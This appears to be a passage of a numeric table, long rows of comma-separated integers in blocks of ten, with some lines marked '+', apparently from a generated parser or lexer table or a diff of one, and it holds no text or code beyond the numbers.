1130, 1122, 1131, + 1132, 1147, 1133, 1125, 1134, 1135, 1137, 1138, 1139, 1140, + 1141, 1143, 2642, 1148, 1150, 1151, 1144, 1152, 1145, 1146, + 1146, 1153, 1154, 1146, 1155, 1156, 1157, 1158, 1146, 1147, + 1159, 1160, 1161, 1162, 1146, 1164, 1165, 1166, 1146, 1167, + 1146, 1148, 1150, 1151, 1168, 1152, 1169, 1146, 1146, 1153, + 1154, 1146, 1155, 1156, 1157, 1158, 1146, 1170, 1159, 1160, + 1161, 1162, 1146, 1164, 1165, 1166, 1146, 1167, 1146, 1171, + + 1172, 1173, 1168, 1174, 1169, 1175, 1177, 1178, 1180, 1178, + 1180, 1182, 1183, 1182, 1183, 1170, 1187, 1190, 1191, 1187, + 1190, 1191, 1195, 1201, 1207, 1195, 1201, 1171, 1172, 1173, + 1195, 1174, 1198, 1175, 1177, 1198, 1199, 1208, 1206, 1199, + 1198, 1206, 1293, 1226, 1199, 1293, 2630, 1200, 1200, 1228, + 1200, 1230, 1200, 1231, 1178, 1180, 2617, 1435, 1182, 1183, + 1200, 1294, 2615, 1200, 1294, 1212, 1187, 1190, 1191, 1233, + 1216, 1226, 1195, 1212, 1200, 1462, 1208, 1228, 1216, 1230, + 1205, 1231, 1198, 1205, 1212, 1205, 1199, 2599, 1205, 1216, + 1205, 1207, 1207, 1205, 1201, 2582, 1205, 1233, 1210, 1731, + + 1235, 1210, 1200, 1210, 1435, 1208, 1210, 1205, 1210, 1206, + 1211, 1210, 1212, 1211, 1210, 1211, 1221, 1216, 1211, 1221, + 1211, 2542, 1462, 1211, 1214, 1210, 1211, 1214, 1235, 1214, + 2540, 1200, 1200, 1213, 1236, 1205, 1213, 1211, 1213, 1237, + 1214, 1213, 1215, 1213, 1731, 1215, 1213, 1215, 1239, 1213, + 1215, 1214, 1215, 1210, 1217, 1215, 1240, 1217, 1215, 1217, + 1213, 1238, 1236, 1242, 1205, 1211, 1221, 1237, 1224, 1215, + 1217, 1224, 1225, 1244, 1245, 1225, 1239, 1238, 1246, 1214, + 1247, 1217, 1210, 1248, 1240, 1250, 1253, 1255, 1213, 1238, + 2527, 1242, 1256, 1259, 2484, 1295, 1296, 1215, 1295, 1296, + + 1295, 1244, 1245, 2482, 1260, 1238, 1246, 1261, 1247, 1217, + 2481, 1248, 1262, 1250, 1253, 1255, 1243, 1213, 1224, 1263, + 1256, 1259, 1225, 1243, 1243, 1243, 1243, 1243, 1243, 1243, + 1243, 1243, 1260, 1264, 1265, 1261, 1267, 1268, 1217, 1269, + 1262, 1270, 1271, 1272, 1273, 1274, 1274, 1263, 1266, 1266, + 1266, 1266, 1266, 1266, 1266, 1266, 1266, 1275, 1276, 1277, + 1278, 1264, 1265, 1280, 1267, 1268, 1281, 1269, 1282, 1270, + 1271, 1272, 1273, 1274, 1274, 1283, 1284, 1286, 1287, 1288, + 1289, 1289, 2468, 2466, 1305, 1275, 1276, 1277, 1278, 1297, + 1298, 1280, 1297, 1298, 1281, 1298, 1282, 1299, 1301, 1303, + + 1299, 1301, 1303, 1283, 1284, 1286, 1287, 1288, 1289, 1289, + 1300, 1302, 1305, 1300, 1302, 1300, 1302, 1304, 1310, 1313, + 1304, 1310, 1313, 1314, 1315, 1316, 1314, 1317, 1324, 1325, + 1326, 1328, 1329, 1330, 1332, 1333, 1334, 1335, 1336, 1337, + 2943, 2465, 1338, 1339, 1340, 2943, 1341, 1342, 1343, 1344, + 1340, 1345, 1315, 1316, 1346, 1317, 1324, 1325, 1326, 1328, + 1329, 1330, 1332, 1333, 1334, 1335, 1336, 1337, 1310, 1313, + 1338, 1339, 1340, 1314, 1341, 1342, 1343, 1344, 1340, 1345, + 1347, 1348, 1346, 1349, 1350, 1351, 1352, 1353, 1354, 1355, + 1356, 1357, 1358, 1359, 1360, 1361, 1362, 2443, 1364, 1365, + + 1366, 1367, 1369, 1370, 1371, 1372, 1373, 1374, 1347, 1348, + 1363, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, + 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, + 1369, 1370, 1371, 1372, 1373, 1374, 1377, 1379, 1363, 1376, + 1380, 1381, 1383, 1384, 1385, 1386, 1387, 1389, 1390, 1391, + 1376, 1392, 1394, 1363, 1396, 1376, 1376, 1397, 1398, 1400, + 1399, 1401, 1402, 1404, 1377, 1379, 1399, 1376, 1380, 1381, + 1383, 1384, 1385, 1386, 1387, 1389, 1390, 1391, 1376, 1392, + 1394, 1406, 1396, 1376, 1376, 1397, 1398, 1400, 1399, 1401, + 1402, 1404, 1407, 1408, 1399, 1409, 1410, 1411, 1412, 1413, + + 1414, 1415, 1416, 1417, 1418, 1420, 1421, 1422, 1423, 1406, + 1424, 1425, 1426, 1427, 1428, 1430, 1431, 1430, 2429, 1434, + 1407, 1408, 2322, 1409, 1410, 1411, 1412, 1413, 1414, 1415, + 1416, 1417, 1418, 1420, 1421, 1422, 1423, 1438, 1424, 1425, + 1426, 1427, 1428, 1432, 1431, 1432, 1433, 1434, 1433, 1436, + 1437, 1439, 1436, 1437, 1439, 1440, 1441, 1442, 1444, 1446, + 1442, 1441, 1430, 1443, 1445, 1438, 1443, 1445, 1465, 1447, + 1451, 1443, 1445, 2321, 2983, 1457, 1455, 1467, 1457, 2983, + 1457, 2233, 1468, 1440, 1455, 1463, 1444, 1446, 1463, 1532, + 1432, 1457, 1532, 1433, 1464, 1455, 1465, 1464, 2231, 1436, + + 1437, 1439, 1457, 1441, 2226, 1467, 3136, 1442, 1447, 1451, + 1468, 3136, 1452, 1443, 1445, 1452, 1460, 1452, 1471, 1460, + 1452, 1460, 1452, 1455, 1460, 1452, 1460, 1472, 1452, 1460, + 1457, 1466, 1460, 1473, 1466, 1463, 1474, 1447, 1451, 1452, + 1469, 1475, 1469, 1460, 1464, 1476, 1471, 1477, 1478, 1479, + 1482, 1484, 1455, 1481, 1485, 1472, 1481, 1486, 1481, 1457, + 1487, 1473, 1488, 1481, 1474, 1489, 1481, 1452, 1469, 1475, + 1469, 1460, 1491, 1476, 1490, 1477, 1478, 1479, 1482, 1484, + 2142, 1466, 1485, 1492, 1493, 1486, 1495, 1501, 1487, 1533, + 1488, 1534, 1533, 1489, 1534, 2127, 1534, 1503, 1506, 1507, + + 1491, 1508, 1509, 1510, 1490, 1511, 1512, 1513, 1481, 1514, + 1490, 1492, 1493, 1515, 1495, 1501, 1502, 1502, 1502, 1502, + 1502, 1502, 1502, 1502, 1502, 1503, 1506, 1507, 1517, 1508, + 1509, 1510, 1490, 1511, 1512, 1513, 1518, 1514, 1490, 1519, + 1520, 1515, 1522, 1523, 1524, 1525, 1526, 1527, 1535, 1523, + 1536, 1535, 1537, 1536, 1538, 1539, 1517, 1538, 1539, 1540, + 1541, 1542, 1544, 1541, 1518, 1543, 1545, 1519, 1520, 1548, + 1522, 1523, 1524, 1525, 1526, 1527, 1543, 1523, 1549, 1550, + 1551, 1552, 1550, 1553, 1554, 1555, 1556, 1540, 1557, 1542, + 1544, 1558, 1559, 1560, 1545, 1561, 1563, 1548, 1564, 1537, + + 2123, 1565, 1566, 1567, 1538, 1539, 1549, 1568, 1551, 1552, + 1541, 1553, 1554, 1555, 1556, 1562, 1557, 1569, 1570, 1558, + 1559, 1560, 1571, 1561, 1563, 1573, 1564, 1574, 1562, 1565, + 1566, 1567, 1575, 1562, 1576, 1568, 1572, 1577, 1578, 1579, + 1580, 1739, 1572, 1562, 1572, 1569, 1570, 1572, 1582, 1583, + 1571, 1584, 1739, 1573, 1734, 1574, 1562, 1734, 1585, 1586, + 1575, 1562, 1576, 1587, 1572, 1577, 1578, 1579, 1580, 1581, + 1572, 1588, 1572, 1581, 1589, 1572, 1582, 1583, 1590, 1584, + 1581, 1591, 1581, 1581, 1592, 1581, 1585, 1586, 1593, 1594, + 1595, 1587, 1596, 1597, 1598, 1599, 1600, 1581, 1601, 1588, + + 1602, 1581, 1589, 1607, 1608, 1609, 1590, 1610, 1581, 1591, + 1581, 1581, 1592, 1581, 1611, 1612, 1593, 1594, 1595, 1616, + 1596, 1597, 1598, 1599, 1600, 1617, 1601, 1620, 1602, 1613, + 1621, 1607, 1608, 1609, 1619, 1610, 1613, 1618, 1622, 1623, + 1624, 1625, 1611, 1612, 1613, 1619, 1626, 1616, 1627, 1613, + 1618, 1628, 1618, 1617, 1629, 1620, 1619, 1613, 1621, 1630, + 1631, 1632, 1633, 1634, 1613, 1618, 1622, 1623, 1624, 1625, + 1635, 1636, 1613, 1637, 1626, 1635, 1627, 1613, 1618, 1628, + 1618, 1638, 1629, 1639, 1619, 1640, 1641, 1630, 1631, 1632, + 1633, 1634, 1642, 1643, 1644, 1645, 1646, 1649, 1635, 1636, + + 1647, 1637, 1649, 1635, 1650, 1651, 1652, 1653, 1655, 1638, + 1655, 1639, 1658, 1640, 1641, 1658, 1647, 1662, 1668, 1663, + 1642, 1643, 1644, 1645, 1646, 1649, 1664, 1663, 1647, 1664, + 1649, 1664, 1650, 1651, 1652, 1653, 1667, 1661, 1663, 1667, + 1661, 1669, 1664, 1670, 1647, 1661, 1668, 1671, 1673, 1674, + 1675, 1676, 1677, 1664, 1678, 1655, 1744, 2121, 2093, 1744, + 1679, 1744, 1658, 1684, 1966, 2076, 1663, 1966, 1687, 1669, + 1688, 1670, 3769, 1689, 3769, 1671, 1673, 1674, 1675, 1676, + 1677, 1664, 1678, 1690, 1662, 1662, 1667, 1661, 1679, 1680, + 1683, 1684, 1680, 1683, 1680, 1683, 1687, 1693, 1688, 1680, + + 1683, 1689, 1680, 1683, 1691, 1694, 1696, 1697, 1691, 1699, + 1691, 1690, 1692, 1692, 1692, 1692, 1692, 1692, 1692, 1692, + 1692, 1705, 1706, 1935, 1982, 1693, 1935, 1982, 1935, 3845, + 2075, 3845, 1691, 1694, 1696, 1697, 1691, 1699, 1691, 1709, + 1710, 1711, 1712, 1713, 1680, 1683, 1714, 1715, 1716, 1705, + 1706, 1707, 1707, 1707, 1707, 1707, 1707, 1707, 1707, 1707, + 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1709, 1710, 1711, + 1712, 1713, 1724, 1725, 1714, 1715, 1716, 1726, 1727, 1728, + 1729, 1737, 1738, 1742, 1737, 1743, 1747, 1748, 1717, 1718, + 1719, 1720, 1721, 1722, 1723, 1749, 1750, 1751, 1752, 1753, + + 1724, 1725, 1754, 2072, 1751, 1726, 1727, 1728, 1729, 1755, + 1738, 1742, 1756, 1743, 1747, 1748, 1757, 1758, 1759, 1760, + 1761, 1762, 1763, 1749, 1750, 1751, 1752, 1753, 1764, 1765, + 1754, 1737, 1751, 1766, 1767, 1768, 1769, 1755, 1770, 1771, + 1756, 1772, 1773, 1774, 1757, 1758, 1759, 1760, 1761, 1762, + 1763, 1775, 1776, 1777, 1778, 1779, 1764, 1765, 1780, 1781, + 1782, 1766, 1767, 1768, 1769, 1783, 1770, 1771, 1784, 1772, + 1773, 1774, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1775, + 1776, 1777, 1778, 1779, 1792, 1793, 1780, 1781, 1782, 1794, + 1795, 1796, 1798, 1783, 1799, 1800, 1784, 1797, 1802, 1803, + + 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1804, 1797, 1805, + 2035, 1806, 1792, 1793, 1807, 1808, 1809, 1794, 1795, 1796, + 1798, 1810, 1799, 1800, 1812, 1814, 1802, 1803, 1815, 1816, + 1817, 1818, 1819, 1824, 1820, 1804, 1822, 1805, 1797, 1806, + 1825, 1826, 1807, 1808, 1809, 1820, 2004, 1822, 1828, 1810, + 1932, 1829, 1812, 1814, 1831, 1832, 1815, 1816, 1817, 1818, + 1819, 1824, 1820, 1836, 1837, 1931, 1838, 1839, 1825, 1826, + 1841, 1842, 1843, 1820, 1821, 1821, 1828, 1844, 1821, 1829, + 1821, 1845, 1831, 1832, 1821, 1821, 1846, 1847, 1821, 1848, + 1849, 1836, 1837, 1821, 1838, 1839, 1850, 1851, 1841, 1842, + + 1843, 1852, 1821, 1821, 1853, 1844, 1821, 1854, 1821, 1845, + 1855, 1856, 1821, 1821, 1846, 1847, 1821, 1848, 1849, 1858, + 1857, 1821, 1858, 1859, 1850, 1851, 1860, 1861, 1862, 1852, + 1863, 1864, 1853, 1857, 1865, 1854, 1866, 1868, 1855, 1856, + 1870, 1867, 1871, 1873, 1874, 1875, 1876, 1858, 1857, 1878, + 1858, 1859, 1867, 1877, 1860, 1861, 1862, 1879, 1863, 1864, + 1883, 1857, 1865, 1885, 1866, 1868, 1877, 1889, 1870, 1890, + 1871, 1873, 1874, 1875, 1876, 1893, 1894, 1878, 1895, 1881, + 2143, 1877, 1881, 2143, 1881, 1879, 3847, 1930, 3847, 1881, + 1896, 1885, 1881, 1899, 1877, 1889, 1897, 1890, 1897, 1903, + + 1905, 1905, 1892, 1893, 1894, 1883, 1895, 1906, 1867, 1892, + 1892, 1892, 1892, 1892, 1892, 1892, 1892, 1892, 1896, 1900, + 1907, 1899, 1908, 1909, 1897, 1910, 1897, 1903, 1905, 1905, + 1911, 1900, 1912, 1913, 1881, 1906, 1900, 1904, 1904, 1904, + 1904, 1904, 1904, 1904, 1904, 1904, 1915, 1900, 1907, 1916, + 1908, 1909, 1917, 1910, 1919, 1918, 1920, 1921, 1911, 1900, + 1912, 1913, 1917, 1922, 1900, 1923, 1918, 1924, 1925, 1926, + 1927, 1928, 1933, 1917, 1915, 1918, 1929, 1916, 1934, 1938, + 1917, 1939, 1919, 1918, 1920, 1921, 1941, 1929, 1942, 1943, + 1917, 1922, 1944, 1923, 1918, 1924, 1925, 1926, 1945, 1928, + + 1933, 1917, 1946, 1918, 1947, 1948, 1934, 1938, 1949, 1939, + 1950, 1951, 1952, 1953, 1941, 1927, 1942, 1943, 1954, 1955, + 1944, 1956, 1957, 1958, 1959, 1960, 1945, 1961, 1952, 1962, + 1946, 1963, 1947, 1948, 1964, 1965, 1949, 1967, 1950, 1951, + 1952, 1953, 1968, 1969, 1970, 1971, 1954, 1955, 1972, 1956, + 1957, 1958, 1959, 1960, 1973, 1961, 1952, 1962, 1974, 1963, + 1975, 1976, 1964, 1965, 1977, 1967, 1978, 1979, 1980, 1981, + 1968, 1969, 1970, 1971, 1983, 1981, 1972, 1984, 1985, 1986, + 1985, 1987, 1973, 1988, 1990, 1985, 1974, 1991, 1975, 1976, + 1992, 1994, 1977, 1995, 1978, 1979, 1980, 1981, 1996, 1998, + + 1997, 1992, 1983, 1981, 1999, 1984, 1985, 1986, 1985, 1987, + 2000, 1988, 1990, 1985, 1997, 1991, 2001, 2002, 2003, 1994, + 2005, 1995, 2007, 2008, 2009, 2003, 1996, 1998, 1997, 2010, + 2011, 1992, 1999, 2012, 2013, 2014, 2015, 2016, 2000, 2017, + 2018, 2019, 2020, 2021, 2001, 2002, 2003, 2024, 2005, 2014, + 2007, 2008, 2009, 2003, 2025, 2026, 2028, 2010, 2011, 2029, + 2034, 2012, 2013, 2014, 2015, 2016, 2036, 2017, 2018, 2019, + 2020, 2021, 2023, 2023, 2037, 2024, 2038, 2014, 2023, 2039, + 2041, 2042, 2025, 2026, 2028, 2043, 2023, 2029, 2034, 2023, + 2044, 2045, 2046, 2049, 2036, 2052, 2053, 2054, 2055, 1902, + + 2023, 2023, 2037, 2056, 2038, 2057, 2023, 2039, 2041, 2042, + 2050, 2058, 2050, 2043, 2023, 2060, 2050, 2023, 2044, 2045, + 2046, 2049, 2061, 2052, 2053, 2054, 2055, 2050, 2059, 2050, + 2059, 2056, 1898, 2057, 2059, 2062, 2063, 2064, 2050, 2058, + 2050, 2065, 2066, 2063, 2050, 2059, 2067, 2059, 2068, 2069, + 2061, 2070, 2073, 2074, 2077, 2050, 2059, 2050, 2059, 2078, + 2060, 2079, 2059, 2062, 2063, 2064, 2081, 2082, 2084, 2065, + 2066, 2063, 2085, 2059, 2067, 2059, 2068, 2069, 2071, 2070, + 2083, 2071, 2083, 2071, 2086, 2088, 2089, 2078, 2071, 2079, + 2090, 2071, 2091, 2094, 2081, 2082, 2084, 2073, 2074, 2077, + + 2085, 2095, 2097, 2098, 2099, 2183, 2390, 2100, 2083, 2101, + 2083, 2102, 2086, 2088, 2089, 1888, 2183, 2390, 2090, 1884, + 2091, 2094, 2103, 2104, 2383, 2550, 2106, 2383, 2550, 2095, + 2097, 2098, 2099, 2071, 2092, 2100, 2107, 2101, 1882, 2102, + 2108, 2092, 2092, 2092, 2092, 2092, 2092, 2092, 2092, 2092, + 2103, 2104, 2105, 2092, 2106, 2092, 2092, 2092, 2109, 2105, + 2110, 2092, 2111, 2112, 2107, 2113, 2092, 2114, 2108, 2115, + 2116, 2117, 2118, 2119, 2112, 2092, 2122, 2122, 2122, 2122, + 2105, 2092, 2126, 2092, 2092, 2092, 2109, 2105, 2110, 2092, + 2111, 2112, 2128, 2113, 2092, 2114, 2129, 2115, 2116, 2117, + + 2118, 2119, 2112, 2092, 2124, 2124, 2124, 2124, 2130, 2131, + 2126, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, + 2128, 2141, 2144, 2145, 2129, 2146, 2147, 2148, 2149, 2150, + 2152, 2122, 2153, 2154, 2155, 2558, 2130, 2131, 2558, 2132, + 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2157, 2141, + 2144, 2145, 2158, 2146, 2147, 2148, 2149, 2150, 2152, 2124, + 2153, 2154, 2155, 2156, 2159, 2160, 2156, 2161, 2156, 2162, + 2163, 2164, 2165, 2166, 2167, 2168, 2157, 2169, 2170, 2171, + 2158, 2172, 2173, 2174, 2175, 2173, 2176, 2173, 2177, 2178, + 2179, 2180, 2159, 2160, 2181, 2161, 2182, 2162, 2163, 2164, + + 2165, 2166, 2167, 2168, 2185, 2169, 2170, 2171, 2186, 2172, + 2187, 2174, 2175, 2188, 2176, 2189, 2177, 2178, 2179, 2180, + 2190, 2191, 2181, 2192, 2182, 2193, 2194, 2195, 2196, 2197, + 1880, 2580, 2185, 2199, 2580, 2200, 2186, 2345, 2187, 2201, + 2345, 2188, 2345, 2189, 2602, 2202, 2203, 2602, 2190, 2191, + 2204, 2192, 2205, 2193, 2194, 2195, 2196, 2197, 2198, 2198, + 2198, 2199, 2198, 2200, 2198, 2198, 2206, 2201, 2198, 2198, + 2198, 2207, 2198, 2202, 2203, 2198, 2208, 2198, 2204, 2209, + 2205, 2210, 2211, 2212, 2213, 2214, 2198, 2198, 2198, 2215, + 2198, 2216, 2198, 2198, 2206, 2217, 2198, 2198, 2198, 2207, + + 2198, 2218, 2219, 2198, 2208, 2198, 2220, 2209, 2221, 2210, + 2211, 2212, 2213, 2214, 2222, 2223, 2224, 2215, 2227, 2216, + 2228, 2229, 2230, 2217, 2235, 2236, 2237, 2238, 2239, 2218, + 2219, 2240, 2241, 2242, 2220, 2243, 2221, 2243, 2246, 2247, + 2250, 2252, 2222, 2223, 2224, 2251, 2227, 2251, 2228, 2229, + 2230, 2253, 2235, 2236, 2237, 2238, 2239, 2254, 2268, 2240, + 2241, 2242, 2255, 2243, 2256, 2243, 2246, 2247, 2250, 2257, + 2258, 2259, 2260, 2251, 2269, 2251, 2261, 2262, 2263, 2264, + 2265, 2270, 2273, 2274, 2275, 2276, 2252, 2277, 2278, 2279, + 2255, 3731, 2256, 2280, 2281, 2282, 2253, 2257, 2258, 2259, + + 2260, 1869, 2254, 2268, 2261, 2262, 2263, 2264, 2265, 2286, + 2273, 2274, 2275, 2276, 2287, 2277, 2278, 2279, 2283, 2269, + 2283, 2280, 2281, 2282, 1823, 2391, 2270, 2285, 2285, 2285, + 2285, 2285, 2285, 2285, 2285, 2285, 2391, 2286, 2288, 2289, + 2290, 3731, 2287, 2291, 2289, 2292, 2283, 2294, 2283, 2284, + 2284, 2284, 2284, 2284, 2284, 2284, 2284, 2284, 2295, 2296, + 2297, 2284, 2298, 2284, 2284, 2284, 2288, 2289, 2290, 2284, + 2299, 2291, 2289, 2292, 2284, 2294, 2300, 2301, 2303, 2304, + 2305, 2306, 2307, 2284, 2308, 2309, 2295, 2296, 2297, 2284, + 2298, 2284, 2284, 2284, 2310, 2311, 2312, 2284, 2299, 2313, + + 2314, 2316, 2284, 2317, 2300, 2301, 2303, 2304, 2305, 2306, + 2307, 2284, 2308, 2309, 2318, 2319, 2320, 2323, 2323, 2323, + 2323, 2328, 2310, 2311, 2312, 2325, 2325, 2313, 2314, 2316, + 2330, 2317, 2326, 2326, 2326, 2326, 2327, 2327, 2331, 2332, + 2333, 2335, 2318, 2319, 2320, 2336, 2337, 2338, 2339, 2328, + 2340, 1813, 2341, 2342, 2343, 2344, 2346, 2347, 2330, 2346, + 2348, 2349, 2467, 1811, 2350, 2351, 2331, 2332, 2333, 2335, + 2352, 2353, 2323, 2336, 2337, 2338, 2339, 2354, 2340, 2325, + 2341, 2342, 2343, 2344, 2355, 2347, 2356, 2326, 2348, 2349, + 2327, 2334, 2350, 2351, 2334, 1740, 2346, 2357, 2352, 2353, + + 2357, 2359, 2357, 2360, 2361, 2354, 2362, 2467, 2363, 3916, + 2334, 3916, 2355, 2364, 2356, 2365, 2366, 2367, 2368, 2369, + 2371, 2372, 2373, 2334, 2346, 2334, 2374, 1736, 2378, 2359, + 2379, 2360, 2361, 2380, 2362, 2334, 2363, 2334, 2334, 2334, + 2381, 2364, 2382, 2365, 2366, 2367, 2368, 2369, 2371, 2372, + 2373, 2334, 2375, 2334, 2374, 2375, 2378, 2375, 2379, 2384, + 2385, 2380, 2386, 2334, 2388, 2334, 2334, 2334, 2381, 2389, + 2382, 2392, 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, + 2401, 2402, 2404, 1735, 2405, 2397, 2406, 2384, 2385, 2407, + 2386, 2403, 2388, 2408, 2409, 2410, 2412, 2389, 2411, 2392, + + 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, 2401, 2402, + 2404, 2403, 2405, 2411, 2406, 2413, 2414, 2407, 2419, 2403, + 2420, 2408, 2409, 2410, 2412, 2421, 2411, 2422, 2423, 2424, + 2425, 2426, 2427, 2428, 2430, 2431, 2432, 2433, 2434, 2403, + 2439, 2411, 2440, 2413, 2414, 2442, 2419, 2446, 2420, 2447, + 2449, 2450, 2451, 2421, 2452, 2422, 2423, 2424, 2425, 2426, + 2427, 2428, 2430, 2431, 2432, 2433, 2434, 2453, 2439, 2454, + 2440, 2455, 2462, 2442, 2463, 2446, 2464, 2447, 2449, 2450, + 2451, 2469, 2452, 2471, 2472, 2473, 2474, 2475, 2476, 2477, + 2478, 2479, 2480, 2483, 2485, 2453, 2486, 2454, 1732, 2455, + + 2462, 2487, 2463, 2488, 2464, 2489, 2490, 2491, 2492, 2493, + 1730, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, + 2480, 2495, 2496, 2497, 2486, 2549, 2469, 3267, 2549, 2487, + 2549, 2488, 3267, 2489, 2490, 2491, 2492, 2493, 2483, 2485, + 2499, 2500, 2501, 2502, 2503, 2498, 2504, 2505, 2502, 2495, + 2496, 2497, 2498, 2498, 2498, 2498, 2498, 2498, 2498, 2498, + 2498, 2506, 2507, 2508, 2509, 2510, 2511, 2512, 2499, 2500, + 2501, 2502, 2503, 2513, 2504, 2505, 2502, 2515, 2516, 2517, + 2519, 2522, 2524, 2525, 2526, 2528, 2529, 2530, 2531, 2506, + 2507, 2508, 2509, 2510, 2511, 2512, 2532, 2533, 2534, 2537, + + 2539, 2513, 1708, 2544, 1704, 2515, 2516, 2517, 2519, 2522, + 2524, 2525, 2526, 2528, 2529, 2530, 2531, 2541, 2541, 2545, + 2541, 2548, 2551, 1686, 2532, 2533, 2534, 2537, 2539, 2543, + 2543, 2544, 2543, 2547, 2553, 2552, 2554, 2555, 2556, 2557, + 2547, 2552, 2559, 2560, 1685, 2561, 2562, 2545, 2563, 2548, + 2551, 2553, 2564, 2565, 2566, 2567, 2754, 2571, 2567, 2754, + 2567, 2547, 2553, 2552, 2554, 2555, 2556, 2557, 2547, 2552, + 2559, 2560, 2541, 2561, 2562, 2572, 2563, 2573, 2574, 2553, + 2564, 2565, 2566, 2570, 2543, 2571, 2570, 2541, 2570, 2575, + 2576, 2577, 2578, 2581, 2583, 2584, 2585, 2586, 2587, 2543, + + 2588, 2589, 2590, 2572, 2591, 2573, 2574, 2592, 2593, 2595, + 2596, 2597, 2598, 2600, 2601, 2603, 2604, 2575, 2576, 2577, + 2578, 2581, 2583, 2584, 2585, 2586, 2587, 2606, 2588, 2589, + 2590, 2607, 2591, 2608, 2609, 2592, 2593, 2595, 2596, 2597, + 2598, 2600, 2601, 2603, 2604, 2605, 2610, 2613, 2605, 2614, + 2605, 2616, 2618, 2619, 2621, 2606, 2622, 2623, 2624, 2607, + 2625, 2608, 2609, 2618, 2626, 1682, 2627, 2628, 2629, 2631, + 2632, 2633, 2634, 2635, 2610, 2613, 2636, 2614, 2637, 2616, + 2639, 2619, 2621, 2640, 2622, 2623, 2624, 2641, 2625, 2643, + 2644, 2645, 2626, 2618, 2627, 2628, 2629, 2631, 2632, 2633, + + 2634, 2635, 2647, 2648, 2636, 2649, 2637, 2650, 2639, 2651, + 2652, 2640, 2653, 2654, 2655, 2641, 2656, 2643, 2644, 2645, + 2657, 2660, 2661, 2662, 2664, 2665, 2666, 2670, 2671, 2675, + 2647, 2648, 2677, 2649, 2678, 2650, 2679, 2651, 2652, 2680, + 2653, 2654, 2655, 2681, 2656, 2682, 2691, 2683, 2657, 2660, + 2661, 2662, 2664, 2665, 2666, 2670, 2671, 2684, 2685, 2686, + 2688, 2693, 2694, 1666, 2679, 2695, 2697, 2680, 2698, 2699, + 2700, 2681, 2701, 2682, 2675, 2683, 2703, 2677, 1665, 2678, + 2704, 2705, 2707, 2708, 2709, 2684, 2685, 2686, 2688, 2710, + 2711, 2691, 2712, 2695, 2697, 2713, 2698, 2699, 2700, 2714, + + 2701, 2715, 2716, 2717, 2703, 2718, 2693, 2694, 2704, 2705, + 2707, 2708, 2709, 2719, 2720, 2721, 2722, 2710, 2711, 2723, + 2712, 2724, 2725, 2713, 2726, 2727, 2728, 2714, 2729, 2715, + 2716, 2717, 2731, 2718, 2733, 2734, 2735, 2736, 2737, 2738, + 2739, 2719, 2720, 2721, 2722, 2740, 2747, 2723, 2748, 2724, + 2725, 2749, 2726, 2727, 2728, 2750, 2729, 2755, 2742, 2742, + 2731, 2742, 2733, 2734, 2735, 2736, 2737, 2738, 2739, 2745, + 2745, 2756, 2745, 2740, 2747, 2751, 2748, 2757, 2751, 2749, + 2751, 2758, 2759, 2750, 2760, 2755, 2761, 2762, 2763, 2764, + 2765, 2766, 2764, 2768, 2764, 2769, 1660, 2770, 2771, 2756, + + 2992, 2772, 2777, 2774, 2778, 2757, 2774, 2779, 2774, 2758, + 2759, 2992, 2760, 2742, 2761, 2762, 2763, 2780, 2765, 2766, + 2781, 2768, 2782, 2769, 2745, 2770, 2771, 2786, 2742, 2772, + 2777, 2784, 2778, 2784, 2785, 2779, 2788, 2785, 2789, 2745, + 2790, 2791, 2792, 2794, 2795, 2780, 2796, 2799, 2781, 2797, + 2782, 2800, 2797, 2801, 2798, 2786, 2802, 2804, 2805, 2784, + 2806, 2784, 2808, 2806, 2788, 2806, 2789, 2812, 2790, 2791, + 2792, 2794, 2795, 2798, 2796, 2799, 2807, 2807, 2814, 2800, + 2815, 2801, 2798, 2816, 2802, 2804, 2805, 2817, 2810, 2818, + 2808, 2810, 2819, 2810, 2820, 2812, 2821, 2823, 2824, 2825, + + 2826, 2798, 2827, 2828, 2807, 2807, 2814, 2829, 2815, 2830, + 2831, 2816, 2832, 2833, 2834, 2817, 2835, 2818, 2836, 2837, + 2819, 2838, 2820, 2839, 2821, 2823, 2824, 2825, 2826, 2840, + 2827, 2828, 2843, 2844, 2845, 2829, 2846, 2830, 2831, 2847, + 2832, 2833, 2834, 2848, 2835, 2849, 2836, 2837, 2850, 2838, + 2851, 2839, 2853, 2854, 2855, 2856, 2857, 2840, 2858, 2860, + 2843, 2844, 2845, 2861, 2846, 2862, 2864, 2847, 2865, 2866, + 2867, 2848, 2868, 2849, 2869, 2870, 2850, 2871, 2851, 2873, + 2853, 2854, 2855, 2856, 2857, 2874, 2858, 2860, 2875, 2876, + 2877, 2861, 2881, 2862, 2864, 2878, 2865, 2866, 2867, 2879, + + 2868, 2882, 2869, 2883, 2884, 2885, 2887, 2873, 2888, 1659, + 2889, 2890, 2891, 2874, 2892, 2893, 2875, 2876, 2877, 2894, + 2870, 2895, 2871, 2878, 2896, 2897, 2898, 2879, 2899, 2900, + 2901, 2883, 2884, 2885, 2887, 2902, 2888, 2881, 2889, 2890, + 2891, 2903, 2892, 2893, 2905, 2906, 2882, 2894, 2907, 2895, + 2908, 2909, 2896, 2897, 2898, 2910, 2899, 2900, 2901, 2911, + 2912, 2913, 2914, 2902, 2915, 2916, 2917, 2919, 2920, 2903, + 2921, 2922, 2905, 2906, 2923, 2924, 2907, 2926, 2908, 2909, + 2927, 2930, 2932, 2910, 2930, 2933, 2934, 2911, 2912, 2913, + 2914, 2935, 2915, 2916, 2917, 2919, 2920, 2936, 2921, 2922, + + 2937, 2938, 2923, 2924, 2939, 2926, 2940, 2944, 2927, 2945, + 2932, 2946, 2941, 2933, 2934, 2941, 2947, 2941, 2948, 2935, + 2949, 2950, 2953, 2954, 2955, 2936, 2959, 2956, 2937, 2938, + 2956, 2960, 2939, 2957, 2940, 2944, 2957, 2945, 2962, 2946, + 2963, 2962, 2964, 2965, 2947, 2966, 2948, 2967, 2949, 2950, + 2953, 2954, 2955, 2968, 2959, 2967, 2967, 2969, 2967, 2960, + 2967, 2970, 2971, 2973, 2972, 2974, 2975, 2972, 2963, 2972, + 2964, 2965, 2976, 2977, 2978, 2967, 